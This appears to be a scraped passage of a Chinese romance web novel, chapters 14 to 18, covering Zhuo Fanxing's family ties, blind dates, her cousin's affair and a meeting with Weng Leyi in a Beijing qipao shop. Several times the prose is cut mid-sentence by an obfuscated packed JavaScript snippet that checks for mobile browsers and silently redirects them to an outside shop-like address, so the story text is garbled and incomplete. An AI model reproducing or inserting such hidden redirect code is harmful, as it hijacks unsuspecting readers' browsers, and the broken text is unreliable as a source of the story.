“你怎么和他搞到一起去的?”关键她不止一次听她讲过,讨厌他。主要小时候陈跃动不动就说她胖,姚灵均怎么能听这些话,每次碰见他都和碰见瘟神一样。 姚灵均说:“说起来很复杂,反正就是在英国读研的时候,遇到点麻烦,他帮了忙。后来我公寓到期,没找到合适的地方,就搬到他那边。那个时候不是疫情么,出门也不方便......” 卓繁星嗯嗯点头,表示我知道。新闻上说了么,疫情期间TT销售量都爆了,饮食男女被关在一个屋子里,不发生点什么都说不过去。 “重点是这你能憋到现在才和我讲?” 姚灵均瞬间心虚。“对不起嘛。” “所以你和他又联系上了?” 姚灵均的声音喑哑,嗯了一声。卓繁星仿佛都看见她的鼻涕泡泡了。 “你喜欢他?” “什么喜欢不喜欢的。我和他又没谈过。他这人你知道的,花花公子。当时就是寂寞......”她哽咽着,还是承认了。“灿灿,我在英国的时候是喜欢过他。我以为我们是男女朋友,可是后来......” 她想到那天从超市回来,在玄关处看见的长筒靴,房间里笑声清晰地传到她的耳朵里。 他们在讨论圣诞的时候去哪里玩,混着下流的擦边笑话。 他说他想看圣诞女郎装扮。 他揽着高个子的白妹出来,看见她稍愣了片刻,随即道:“我晚上不回来,你自己安排吧。” 她把袋子提到厨房,听见白妹在问他:“她是谁啊?” “租客。” 他轻飘飘的声音把姚灵均刚出来的爱情苗苗一秒掐灭了。 所幸那时候朋友的公寓空出来,她立马就搬了出去。 一切都很体面,她默认他们的关系只是一段纯粹的□□上的陪伴。只是空虚罢了。 “我不知道他发什么神经,突然凑上来。” 她想到那天电梯合上前插进来的人。 宴会厅在4层,姚灵均透过反光的背景,看见他站在另一端——燕麦色高领针织搭同色系直筒羊毛西裤,长腿微曲,一只手插在口袋中有种自然的随性。 迟早要碰见的。她有心理准备。秦老太太寿宴以他们两家的关系,他怎么也不会缺席。 她做好准备了,也没有期待。 电梯门打开,她抬步要走,却被一把拉住。 “你干什么?!”她人都是懵的,看见他刷卡选了最高的楼层,才反应过来。 “陈跃你是不是有病?你精-虫上脑了吧。” 当被吻住的时候,姚灵均感受到熟悉的气味,那是沙滩边的海风,咸咸的,甜甜的,像海盐味的太妃糖。她的初吻,就是和眼前的这个人。她感受到一种颤栗,像导电一样,从接触的皮肤中通往血管直达心脏。 她的大脑清楚地记起这个人。哪怕她以为自己已经忘记了,这一刻却啪啪打脸。 大脑在说:“就是他呀,就是他呀。你最快乐的记忆,我最快乐的那天,疯狂分泌的多巴胺。” 那是初恋的味道。 如果不是胡昊天的电话打过来,姚灵均不知道事情会发展到哪一步。 她从幻境中清醒过来,推开他接起电话。 反光的厢壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067318|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,他在摸嘴巴上的伤口。 “灵均,灵均?” “我在。”她听见自己的声音,慌乱而又极其的不自然。 “我周三回来,到时候一起去家里吃饭吧。你不是很喜欢吃栗子烧鸡,我让我妈给你做。” “好。” “那到时候见。” “嗯。” 电梯门打开,他走出去,姚灵均像虚脱一样靠在扶手上。 卓繁星安抚道:“灵均,你没有做错事。” “不是的灿灿。我知道的,他亲我的时候,我心跳的很快,和胡昊天从来没有这样过。”她无望地开口。 卓繁星沉默了一瞬,问道:“那你喜欢胡昊天吗?” “那是不一样的感觉。”她试图去形容。“和他在一起很平静,很安心。你知道我脾气不怎么好的,他让我有种被包容的感觉。” “我知道他们两个是不一样的。陈跃只是我路上看过的一道风景,胡昊天才是适合我的那个人。” “我知道的。” “可是灿灿,一旦开始比较了,不就是说明了我在想了么。我的思想开始骑墙了。” 卓繁星想到赵医生。他们近来交流总算频繁起来,基本上每天都会发微信,之后还约出去吃过一次饭。 上次他提议回镇上,卓繁星后来想想还是不合适。吴家院子里都是认识的人,他们本来就心急,要是一起过去,不知道要怎么想。 潘潘说那些家长,恨不得相亲看对眼第二天就结婚。卓繁星不想自寻烦恼。 在这段关系中,她始终是被推着走的。她真的还没有适应。 灵均和她男友还是不一样的,他们毕竟都要订婚了。 “灵均,忘了他吧,别再去想了,别让他影响你的生活,他不值得。” 默然许久,她问道:“你呢?你还喜欢翁乐仪吗?” 卓繁星愣了一下,俏皮道:“我也在相亲啦,认识了一个不错的医生,正在发展当中。” 那头又冒出哭声,许久,她像是鼻子里堵着棉絮,温吞吞地声音传过来。 “灿灿。别喜欢他了。” 15. 第 15 章 卓繁星不意外灵均会知道这件事。 她即便隐藏的再好,压抑久了总会忍不住。 况且,她们是从小一起长大的,在一张床上分享秘密不是很寻常的事么。 就像她早就告诉她,她喜欢蒋凌州一样。 “是从日本的时候开始的吧。” 卓繁星扭头看她。 那是许筠生日会结束的晚上,两个人兴奋地挤在一张床上。 她很得意地说:“我早就发现你不对劲了。” 姚灵均支起脑袋,眼睛亮晶晶地看着她,掰着指头给她算。 “你今天真心话的时候说有喜欢的人。你肯定不喜欢蒋凌州,陈跃肯定也不可能,刘清华直接PASS,那就只有翁乐仪了。” “眼光不错。”她挤眉弄眼地朝她嘚瑟。 卓繁星脸红。 “哎,咱俩也太神奇了吧,喜欢的也是表兄弟哎。表姐配表弟,表妹配表哥。”她发出桀桀桀的笑声,卓繁星受不了了,把被子拉上来盖住她的脸。 “你别胡说。” “他说不定也喜欢你啊。他今天玩游戏的时候不是说你是全场女生里面最漂亮的,是不是?” 卓繁星雀跃了一个晚上的心又开始冒粉色泡泡,扑腾扑腾像住了只兔子。 “他随便讲的。” “那他怎么不讲别人。他肯定对你有意思。你要不要偷偷问问他?” 卓繁星呆了一会儿摇头。 “为什么不问呀?” “你胆子怎么这么小。” 卓繁星说:“就是个游戏。” “那你怎么说实话了。撒谎可是要当一辈子单身狗的。” 她不甘心地怂恿:“你去问问呀,要不我给你问问。”她在后面蹭啊蹭,卓繁星觉得心里有跟羽毛在撩,一下又一下。 一会儿想万一呢?就像灵均说的一样。 一会儿理智就出来反驳。卓繁星你别做梦啦,他没那个意思。 卓繁星不理她,她也就不闹了,嘀咕着:“不知道蒋凌州喜欢谁,他又不喜欢许筠,他们怎么总要撮合他们。真烦。”很快就睡着了。 卓繁星转过来,把压住的头发小心地救出来。床头的小夜灯发出温暖的光,捕梦网投在墙壁上的影子,特殊的几何图案像编制的奇幻梦境。 她的手指绕啊绕,看着指头的影子穿插其中,或交叠或分离。 日本的旅行似乎就在昨天。 空寂安静的清晨,路上都是积雪。她走出民宿,在海岸边堆满雪的堤坝上,遇见了翁乐仪。 他们隔着很远的距离一起看海。 世界很安静,只有海浪的声音,从很远的地方传来。 她不想打扰他。那时她的母亲姚馨雅与他的爸爸在传绯闻,她深受其害,处境尴尬。她不觉得他会想看见她。 可也不想错过这么美的景色。灵均还在梦里,许筠喝醉了酒也没醒。一个人的清晨实在难得。 那就折个中,相隔很远地坐下。 他们只是两个陌生的游客,谁也不会打扰谁。 这么美好的景色,还有美好的清晨,不能因为一个陌生的人而毁掉了呀。 也许坐了有二十分钟,或者二十五分钟? 她出来的很随意,不过是因为早醒来,看见了窗户外的景色,便迫不及待地套上外套出发了。 小镇像是童话世界。她无比感谢许筠的请求,让舅妈能松口,花费金钱让她和灵均能来。 然而坐电车的时候,她摸了摸口袋,窘迫地站在站台上。司机用日文问了一句,几秒钟的时间让她脸色涨红,慌张地摆手。 翁乐仪跑过来,穿过细碎的浮雪,漂亮的脸上有被冻出来的红晕。他摘了手套,上车付钱,撑着车门看她:“你不上来吗?” 卓繁星像个慌张的□□熊——恰好她那天穿的就是黄色的羽绒服,明白了他的好意,急匆匆地跳上了车。 她这时突然想起姥姥对她的评价——一点也不灵光,不像姚家人,跟她爸活脱死像。 她头一次这样认可这句话。 卓繁星跟着他一起走到车厢后,他随意选了一个靠窗的位置,她没地方去了,在另一边坐下。 得益于过早的时间,空荡荡的街道,空荡荡的电车。 民居淹没在皑皑白雪中,偶尔一两间小屋有木制的屋顶,雾霭蓝色的外墙,像是童话世界里木屋。 然而卓繁星没有再留意漫画一样的街道,她现在只能注意到翁乐仪——他什么时候下车。 语言不通,没有钱,还没有手机。 翁乐仪穿着一件黑色的长款羽绒服,拉链拉到顶,扣子扣到最上面一格,半截脸淹没在衣领中。这样显得他的鼻子更加挺了,眉骨的轮廓也在冰雪中愈发凸出,他身上斯拉夫人的一些血统显露无疑。他看着窗外,脖子上挂着一只富士相机。 终于他下车了,卓繁星像个尾随的痴-汉一样跟了上去。 “哦,我忘了给你钱。”他低头看了眼她。 卓繁星在拿钱和跟着他两个选项中毫不犹豫地选了后者。 这个时候脸皮也不要了,被丢在了刚刚的海里。 “可以一起吗?” 她听见自己柔弱的声音,羞赧的像是要原地消失。 那只往口袋里拿钱的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“要不是她是女的,我都想打她一顿,给乐仪出出气。” 卓繁星的身子微微发抖,缩在墙边。她妈妈上个月刚从国外回来,她甚至还没有来得及见到她。 一道清冷的声音传来,混合着篮球砸在地上的闷响。 “关她什么事?” “我家里的事用不着你们操心,一个个的,差不多得了。还打不打球了?” 她眼睫轻颤,听出是翁乐仪的声音。 他选她只是表明立场——别为难她了。 卓繁星知道的。 他有一颗柔软而宽容的心,就像那天看的大海一样。卓繁星喜欢上了他,可她并不是特殊的那个。 好在她并不感到痛苦。 他是个很好很好的人呀。 她在回味这段少女时期的爱恋时,永远是开心多过苦涩。 如果要有比重,那大概是99:1吧。 因为卓繁星迟钝而容易满足的性格让她免于这种痛苦。 16. 第 16 章 卓繁星在陈女士身上也看到了焦虑。 即便没有经济上的压力,成功挤入上层社会的人依然焦虑。 人果然是不能满足的生物。 不过陈女士显然还是要比她从容许多。 对卓繁星来说,陈女士终于不用紧盯着她,她社交的次数增多,听说是去参加某些企业家太太的聚会。她对这些事很重视,毕竟这代表一种身份,圈层里的地位尤其重要。 她明显对在新的地方开展新的友谊很感兴趣,如果说何安琪是她炫耀的对象,那这些太太则是她要比较的对象。 近来,最苦恼的便是比不过某家太太戴的戒指。手上太过空荡,叫人没有底气。 “五克拉的粉钻,说是她老公港城拍来的,就在我面上晃啊晃。暴发户一样。她说她那个老公是做环保的,就是捡垃圾的呀,跟洪教授比都不好比的。我们洪教授是什么人咯。” 她和Amy抱怨,转头对丈夫讲:“不过太低调也不好。他们敬衣装的呀,我出去交际不好叫你失了面子。”她知道他前妻留下不少珠宝首饰,随便一样拿出来都是好东西。 可是任凭她枕头风再吹,丈夫还是不松口。这些东西当时妻子就签好文件留给儿子,他自己都不好碰。“你去买两件回来,不用客气。” “那都是古董,拍卖会上的东西,外面哪里好比。我就是借用一下,给他撑面子,又不是给我了。”她在Amy面前哭诉。 “你不要看他,其实拎的老清楚了。眼睛里只有他的儿子。老家那个老太婆也不把我当人看。说起来我是她夫人,其实我就是个保姆呀。” 她心里焦虑爆棚,又从别的太太那里听来什么打听洪旺的婚事。 她回来问丈夫,得来一句。“家里安排好了,不用你操心。” 她这下更气了,足足两天没有去聚会。 这天,卓繁星课上完,去起居室同她告辞。 “下周六,我们工作室和社区牵头有个爱心汇演,在M广场,夫人如果感兴趣的话,可以带Bella一起来参加。” 陈女士撑着头。“是那种超市前面的大舞台咯,那种有什么好去的。” “就是不参加,也可以带Bella去看一看。”见陈女士看过来。“我看她闷坏了。” 陈女士叹气,没再怪她多管闲事。“我最近学校看的差不多了,马上就好送她去了。你知道的,我们这种人家,不好随便找个学校的。先前我是怕她不适应,想叫她在家里呆几个月。” 她想到前两日胡太太讲的那家学校,估计就是那家了。 “你先前说的相亲,怎么样啦?”她目光在她身上来回扫了一圈。卓繁星跟着低头看了看自己——条纹毛衣加白色牛仔裤,没什么不对。 “在接触。” 陈女士觉得自己是昏了头了,洪旺外头女人多的不得了,她要干嘛,把手伸到他那里去,她没胆子。 “差不多么行了。”她把香烟按在烟灰缸里。“你今年27是吧,是好结婚了。我跟你讲现在的女孩子总是追求独立自由,到头来么都是男人占便宜,吃亏的只有女人呀。你看他们男人,年纪大了,继续找,只要有钞票。女人年纪大了,还怎么找。” 女人有钞票年纪大了了也是一样找。卓繁星拎着两瓶洗发水离开——重点是男人女人么,重点是钞、票! “这是陈太太叫我拿给你的,说是本市有名的企业生产的,那个太太赠了她几瓶。” 卓繁星将一瓶洗发水放到何安琪的办公桌上,她拿起来。 “这个牌子在我们市生产的啊,我倒是头一次知道。” 她看了看手机上的日期。“下周结束,你在她那边就教满一个月了。” “Bella马上要上学了,我估计课程时间会有调整。” “这个你放心,我去跟她谈。” 何安琪顺手拍了洗发水的照片传过去,按着语音道:“亲爱的,谢谢你啊,繁星给我带来了,说你特地给我留的。” 卓繁星笑了笑,看见她衣领下面有痕迹。 “干嘛?”何安琪拉了拉丝巾。 “羡慕啊?你要是想,我给你介绍几个。说真的,我有个朋友,她弟弟跟你年纪差不多,上次问我工作室有没有合适的小姑娘。” “我有一个对象在聊了。” “你有对象了?”何安琪震惊。 “没有,是相亲对象,在了解。”卓繁星解释。 “哦,那算什么。这又不是一对一,你多见几个才好啊。” “一个就挺累的。” 何安琪拖着腮看她。“小妹妹,生的如花似玉,怎么跟个小尼姑一样。你不喜欢那个人?” 卓繁星正有些困惑。她对赵医生还是有好感的吧,起码不排斥,可为什么就没有心动的感觉。这样的关系,平淡的和水一样。 她简单地说出来。 “那你就是不喜欢他。” “你喜欢昨天晚上的对象吗?”繁星问她。 “我当然喜欢了。我身体喜欢的不得了。” 卓繁星被逗笑。何安琪毫不避讳地讲:“我觉得生理性的喜欢更重要。拜托,学学男人吧。你想想赵珂出轨的时候还说爱我呢,其实我们两个在床上都没感觉的。我觉得我潜意识就知道我们不会长久了。” “反正我从上一段婚姻里得到一个很重要的启示:那就是女人啊,要先取悦自己。他要是亲你你都没感觉,趁早拜拜,不要浪费时间,你、的、和、他、的。” 卓繁星带着何安琪这句至理名言去了吴家院子。 她已经拖延了两周,若非天气预报显示将要下雨,她恐怕还不会动身。 她早晨出发,到的时候刚好赶上吃中饭的时候。 过了十一喧嚣,游客稀少,更显秋景萧瑟。路边的银杏翻黄,但桂花还开着,别家院落里的柿子树伸出来,挂着橙红的“灯笼”。穿了巷子,过了石桥,到了吴家院子门口,木桌后头没人坐着。 莹莹看见她:“灿灿姐,你怎么来了?” “我来看看,我爸人呢?在吃饭吗?” 莹莹说:“去镇上啦。”她趴在柜台上,“程姨说去给他买两件衣服,天冷了。” “……噢。”繁星看了眼手上提的衣服袋子,说:“那我回后头等他们。” 她抓了几个橘子,一把桂圆给她,然后就去了卓强的屋子,可没想到屋里上了锁,她只能又回了前头。 “灿灿姐,你午饭吃了吗?”莹莹问她。 繁星摇头,她说:“那我去厨房给你看看?王妈蒸了玉米番薯,我给你拿两个过来?” 她跑到后头,回来的时候蹦着过来:“王妈说给你烧面哩,你先吃个番薯垫垫。” 繁星听见了,起来说:“不用麻烦了,我过去看看。” 莹莹拉她:“王妈给你介绍她外甥了对吧,她那是给她外甥加分呢。”说着碰了碰她胳膊:“他外甥上次来吃饭,说给你送柿子去,你们见了吗,咋样呀?” 繁星不知道怎么回,只能借口到厨房去:“我在这儿坐着不礼貌,我过去打个招呼。” 一路走得飞快,她就知道回来要受这样的“盘问”。 到了厨房,王妈正下面,旁边碗里放着煎好的荷包蛋,看见她了就说:“灿灿来啦。” 繁星叫她:“王妈。” “面马上就好,饿坏了吧。” “我还好,就是麻烦你了。” “什么麻烦不麻烦的,你难得来一趟,尝尝我的手艺。” 她把面捞起来,用中午熬的骨头汤烫了点青菜,最后再把荷包蛋卧上去,利利索索没超过十分钟。 “就在这儿吃吧,省的拿来拿去的。”刚端着汤碗的繁星愣了下,明白她这是有话要讲。 果然,等她坐下来,她就坐到了她边上。先是问问面怎么样,好不好吃,接着又说天冷了,她爸爸还是个看门的,棉毛衫都穿上了。 “你爸爸想你的很,你有空了多回来看看他。一大把年纪了也不容易,前段时间中秋节,你没回来,他陪老爷子喝酒,喝多了,哭着叫你小名,说把你弄丢了,看的我都哭了。他嘴上不说,其实都憋在心里呢。” 卓繁星手里的筷子顿住,盯着碗里清亮的面汤,缓缓阖了下眼睛。 “他呀,担心你一个人在外边,没人照顾。女孩子不比男孩子,总是要更操心的。上次小朔过来,我就跟他说你们两个都在市区里工作,以后相互照应着,家里人也放心。你说是不是?” 繁星嗯了一声。 “你俩现在聊的怎么样?” 卓繁星抬起头,王妈一副过来人的样子,笑起来。“我知道,我知道,年轻人害羞。我妹妹跟我讲了,小朔对你印象特别好,他特别看中你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067320|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “赵医生有没有说我身体上的事儿?” 王妈明显愣了。“什,什么事?” 卓繁星笑了下,搁下筷子。 下午两点,卓强和程霞总算回来了。两人手上都拎了几个袋子,看见她,先愣了两秒。 进了屋,卓繁星把买的东西给程霞,程霞看到两件大衣,马上懊悔的不行,早知道今天就不去了。 她的是件红的,卓强是件黑的,面料防风,里面有绒,能穿到零下之前。 繁星说:“你们试试,看合不合身,不合身能换。” 卓强心里高兴,但也有点心疼钱,不过心疼的是女儿的钱。“灿灿,下次别给我们买了,我跟你阿姨自己会拾掇,你这些钱省下来给自己添点衣服。”女孩子都爱俏。 程霞把衣服都拿到卧室挂起来,卓强在外头,歇下来了才想起来问她:“午饭怎么吃的?” 繁星说王妈烧了面,他点点头,反应过来,搓了两下手小心地问:“那个小赵,你见了吗?我听说你们聊的挺好?” 卓强紧张又期待,微黑的脸上,眼睛微微张大。 “见了。” “怎么样?” “不合适。” 他眼里的光瞬间熄了。 “不合适……”他喃喃重复了一遍。“不合适就算了。” 卓繁星说:“我身体的事儿我已经和王妈说了,你们也不用瞒着掖着。” 卓强一下心疼起来。“她们嫌弃你?” “嫌弃不嫌弃是人家的事儿,我们管不着。” 卓繁星最受不了的就是他可怜巴巴的样子,六神无主,像是丢了魂一样。 “就当认识个朋友,你别想太多,以后该怎么相处还是怎么相处。” 卓繁星处理不来复杂的关系。不管赵医生是什么缘故没和家里说清楚,他自己肯定有顾虑。卓繁星不想惹麻烦,更不想叫人戳脊梁骨。骂她隐瞒身体状况,攀高枝儿什么的,没意思的很。 或许还有一层原因。 卓繁星不期待这份感情。 她惧怕孤独,好像一直在等一个人,可是那个人不是谁都可以,等不来的话,孤独也比稀里糊涂地结婚好。 临走前,王妈硬塞了两包柿饼,说是今年刚做的,繁星推辞不过,给她道了谢。 卓强开着老头乐把她送到公交站。等车的时候,他坐在她边上,熟悉的酸涩感又在卓繁星心里涌上来。 “爸。”卓强马上看过来。“跟你没关系,是我自己不喜欢他。” 卓强的眼睛微微泛红,扭过头去。“好,不喜欢就再找。总要找个喜欢的。” 卓繁星轻轻笑了笑。“是啊,总要找个喜欢的。” 她看着路边翻黄的银杏,卷起的尘土带着机油的味道。 卓繁星回到家中的时候心情尚可——压在心里的一桩事基本解决,即便还是会有些焦虑,可生活不就是这样么。 邵丽丽指着地上的包裹说:“早上到的,都是你的。” 卓繁星最近没买过东西,看到是京市寄过来的,皱了皱眉。 拆开来,里面一只香奈儿的新款包包,一条Burberry的羊绒围巾。 卓繁星手指发抖,拨通姚灵均的电话。 “......是姑姑让我寄给你的......她回国了。” 卓繁星咬了咬唇,让出口的声音不至于颤抖。“太贵重了。” “灿灿,她就是给你准备的。你别多想。” “刚好我也要把订婚礼物寄给你,我给你一起寄回去。” 电话挂断,卓繁星愣愣站了好久。 她想到第一次见姚馨雅的时候,她真的很漂亮,是她那时见过最好看的女人了——穿着呢子大衣,披着长卷发,进屋的时候,矜持地摘下皮手套。 然而她只是看了她一眼,没有抱她,甚至没有叫她。 到了晚上,卓繁星缩在被子里期待地等着她,她却在推开门后愣了愣,说了声晚安便退了出去。 她在黑暗里听见她下楼的脚步声。 那个晚上,卓繁星永远不会忘记。 她站在楼梯上,听见客厅里姥爷的声音。 “别折腾了,那毕竟是你女儿。” “爸,我不想看见她。” 小小的卓繁星眨了眨眼睛,呆站着,就好像现在一样。 17. 第 17 章 姚馨雅一次的冲动,让她后悔终生。 卓繁星实在不明白她会犯这样的错误,因为她看起来聪慧机敏,绝非会被爱情冲昏头脑之人。 谁知道呢? 她想不明白。她以前甚至怀疑卓强是不是她的父亲。或许是姚馨雅珠胎暗结实在没办法,才找了卓强这么个老实人。不然如何相信她会选择卓强。 或许也可以这样解释:当年的姚馨雅同如今这个人已大不相同,她在卓强身上大彻大悟,明白男人的长相实在不如他们的财力来的重要。 可无论如何,都不得不承认,她在卓强身上着实跌了一个大跟头。 卓繁星是这段眼瞎的历史中结出的恶果,令她每每看见都如鲠在喉。 新的一天,卓繁星提着行李箱下楼时,邵丽丽顶着一头乱糟糟的卷发从卫生间出来,吓了一跳。“哦哟,你要去哪里啊?” “我表妹订婚,我去趟京市。” “这么大阵仗,我还以为你要搬家。” 卓繁星哪里来的大阵仗,就是一只行李箱,只是她选了早上的机票,如今天都没亮,看起来倒有些连夜出逃的意味。 “你车子打好了?” “打好了。” “好的,那你注意安全,一路顺风。”邵丽丽打了个哈欠,送她出门。 飞机落地已是中午,姚灵均收到信息更是吓了一跳。 “灿灿,你是来追杀我的!” 卓繁星无语,笑道:“不至于,不至于。我把那只翡翠镯子给你当订婚礼物,怕物流出问题。”她实在担心它半道碎了,原谅她眼孔浅显。这只镯子真是她身上最贵重的东西,即便如今对她的意味已大打折扣。 “镯子?姑给你的那只?” 姚灵均一听就急。 “我不要!那是你成人礼的时候,姑给你的,我怎么能要!”她记得她特别喜欢,珍惜的很,真是当宝贝一样。那时她姑拿了一只镯子,一只吊坠,一块石头雕的,就让她们挑。灿灿选了镯子,她平时不争不抢,头一次说想要的东西,就证明很喜欢很喜欢了。 “你还在生气是不是?” “我没有。本来就想好是这个的。”卓繁星无奈。 “我不信!你肯定还在气。” 卓繁星怎么解释都没用,索性作罢,和她约好时间地点,管她电话里哼哼不要,只说到时候见。 酒店房间望出去,能看见京市的古建筑。红墙金叶,秋日的阳光明媚,整条街道都是金灿灿的。 这就是京市的秋天,Y市还是郁郁葱葱的。打开窗,干燥的空气带有一些粗粝的汽油味。一棵白蜡树长得尤其高,伸过红砖房的屋顶,风一吹,落下的叶片像金色的雨。 她和舅妈一起去拜访秦老太太时,她就住在这样的建筑里,有些老派的旧式风情,让人不禁心生向往。 时间还早,卓繁星穿上外套走出去。 胡同里的落叶尤其多,人家院里的树落下来的,积了一层,没人去搭理,好像在说:“谁叫你长出来的。” 卓繁星走过长桥,湖面上波光灿灿,如今天还不够冷,再过两月,便是溜冰的时候。 她停在一座四合院跟前——如意门,二根门簪三层台阶,门口还有两个方形的门墩儿。这外形在胡同里不起眼,就上头挂了块旗袍店的牌匾。 她进去之后,过了一道垂花门,才看见旗袍店的大门。两边实木架子挂着布料,几件成衣穿在模特架子上,柜台后站了个年轻女人,耳朵后头夹了支笔,低着头在算账。 “欢迎光临。”她听见声音抬了头,卓繁星逆着光,等走进了,她才看清,带着点不确定地喊她:“繁星?” “笑笑。” “你回京市啦。”她从里头走出来,抓住她两只手臂,上下一打量,“怎么把头发剪了,我都不敢认了。什么时候回的呀?小苑她知道吗?” “我有点事过来一趟,今天刚到,走到这儿了就进来看看,没想到你也在。你是继承阿姨和叔叔的衣钵了?”她还记得那时候她有多排斥。 佟笑嗨了一声,“我以前犟,外头吃了不少亏,想想还是家里好。我家里就我一个女儿,我爷爷就老担心这门手艺传不下去。” 她说着又打了她一下:“这么久都联系不上,你换号码也得跟我们说一声啊。” 卓繁星讷讷道:“事情多,没顾上。” 佟笑赶紧说:“没事儿,现在遇见就好了。小苑要知道你来了,得开心坏了。” 繁星问:“她现在怎么样?” 佟笑说:“挺好的,读了研究生之后留校了。” “她还和那个徐大才子在一起吗?” “早分啦。徐謇出国之后没多久就分了,异地恋哪儿那么简单呀。” 卓繁星点点头。“毕竟当时看着他们在一起的。” “是啊,当时她是咱们里面最早脱单的吧,徐謇追她没少费力气,光是贿赂我们两个就贿赂了不少吧。” 忆起往事,两人相视一笑。卓繁星感慨即便多年未见,她与佟笑依然不生疏,好像是昨天还在一起上早课一样。 她一时后悔,为何就与她们断了联系。她怪自己木讷冷淡,又深知重来仍会如此。她性格生好了,就是这样悲观消极的样子。以前有灵均,后来大学有了佟笑她们,是她们拽着她交谈娱乐。她总不是那个主动挑起话头的人。 佟笑不知她已经想了这么多,拉着她去沙发坐。后头帘子一撩开,“笑笑,是不是那个约了取衣服的客人来了?” “叔叔您好。”繁星起身打招呼。 来人脖子上挂着皮尺和眼镜,穿了身深蓝长衫,头发有点白。 佟笑看他愣了下,知道是没认出来,“爸,你不记得啦,我大学室友卓繁星,以前来过的。” 他停了会儿,然后喔了一声想起来了,跟她打招呼:“你好,你好,好几年没见了。” 卓繁星说是:“您还和当年一样,没什么变化。” 他摆摆手:“老了老了。”看了她一会儿突然皱了下眉说:“你好像之前在这儿做了两身衣服,后来没来取。” 卓繁星没什么印象了,佟笑挽着她呀了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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香云纱的面料,绿底红梅,红黄的宝珠穿在扣子上。 她理着衣服,黑色的发,雪白的肤,一双皓腕,指尖葱白和玉一样。 镜子里,卓繁星抬起头,与他望过来的眼对了个正着。 “这件比刚才那件稍微好点儿。”繁星跟着佟妈妈的动作抬了手,她的皮尺圈在她腰上,叹道:“你这腰也太细了,一尺五的腰,我就没见过几个。” 她低了头,再抬头,他已经收了目光。 柜台边:“承惠收您二千三百元,您是怎么付款?” 翁乐仪把手机拿出来,佟爸爸说您扫这个就行。 他付了钱,那边把衣服给他,他接过来停了会儿,佟爸爸看了他一眼问:“您还有什么事儿?” 他把视线收回来,卡了下壳,说:“哦,我再看看。” 18. 第 18 章 佟爸爸拎着长衫从柜台后头出来,说:“您随意,这儿都是面料,有绵绸的、苏罗的、还有香云纱。” 翁乐仪顺着他手看到另一头的布料架子上。 “我给您介绍介绍。”佟爸爸引着他走过去。 镜子边上,佟笑摸了摸卓繁星的脸:“怎么这么红啊,不热呀。” 卓繁星也很快摸了下,低头说:“没,没事儿。” “这匹是湖绫,不比一般缎面丝绸亮,但光泽够,更低调,也适合年轻人。” 翁乐仪应了声,佟爸爸瞧了他一眼,挑了下眉毛问:“您喜欢低领的还是高领的?素面儿的还是要花样?” 听他答了,把脖子上的皮尺拿下来说:“那我给您先简单量量?” 量了肩宽,蹲下来量腿长,翁乐仪往后退了一步,说:“还是下次再做吧,麻烦了。” 佟爸爸站起来,说:“您客气了,应该的。” 翁乐仪转身出了门,门口风铃又是一阵响。 卓繁星从镜子里看见人出去了,拉住佟妈妈的手,她正弯着身子拿针给她收着腰,收到哪儿合适得记着方便改。 “怎么了?”她问。 “我有点事,麻烦您等我一下。” 佟笑拉着她不明白:“什么事儿呀?” 卓繁星说:“马上过来。” 她推门出去,小跑着。 到了垂花门,跟回来拿衣服的翁乐仪撞了个正着。 她先是一惊,可想到他的腿,没退反而拉住了他的胳膊,他一只手放在她腰上,两人都怔了。 屋里,佟妈妈伸着脖子问佟笑:“俩人认识啊?” 佟笑也伸着脖子,努力地去想——哪来这么号人呐。 佟爸爸走到边上悠哉悠哉抱着茶壶喝了两口茶:“刚刚就心不在焉的,你俩人还没瞧出来?” 佟妈妈睁大两只眼睛:“这都,都搂上了?!” 佟爸爸哦呦一声也凑过来:“哪儿呢哪儿呢?” 三个脑袋立刻围到了门边上。 院子里,繁星松了手,腰窝处隐隐发烫。 “不好意思。”她往后退了半步。 翁乐仪的唇微微抿着,手垂下来,有点不自在。 “灵均订婚,我来给她送订婚礼物。”卓繁星轻声开口,其实跑出来就是一瞬间的想法,到了他跟前又不知该说什么。单为了上次他捡到门禁卡的事道谢,这是个理由,可也着实不必这样急匆匆地追出去。 “上次的事谢谢了,幸好你捡到了,不然补办起来很麻烦。” 她挽了挽头发,如果深谙男女交往之间的密语,便能一眼识破她的紧张与心虚。然而翁乐仪在这事上像极了他爸爸,没有在她敏感多情的母亲身上继承到丝毫。 “没什么。”他简单开口,目光落在后头院里的树上、石头上。倏忽,又落在她粉白的脸上。 卓繁星则是低着头,她的裙摆与他的西装裤再近一步就能碰到,鞋尖相对,仿佛亲密无间。 终于那只黑色皮鞋动了半分。“我......”他方开口,卓繁星便道:“这是我大学室友家的店。”她终于抬头看向他,棕褐色的瞳孔在日光下被照得透明,琥珀一般。 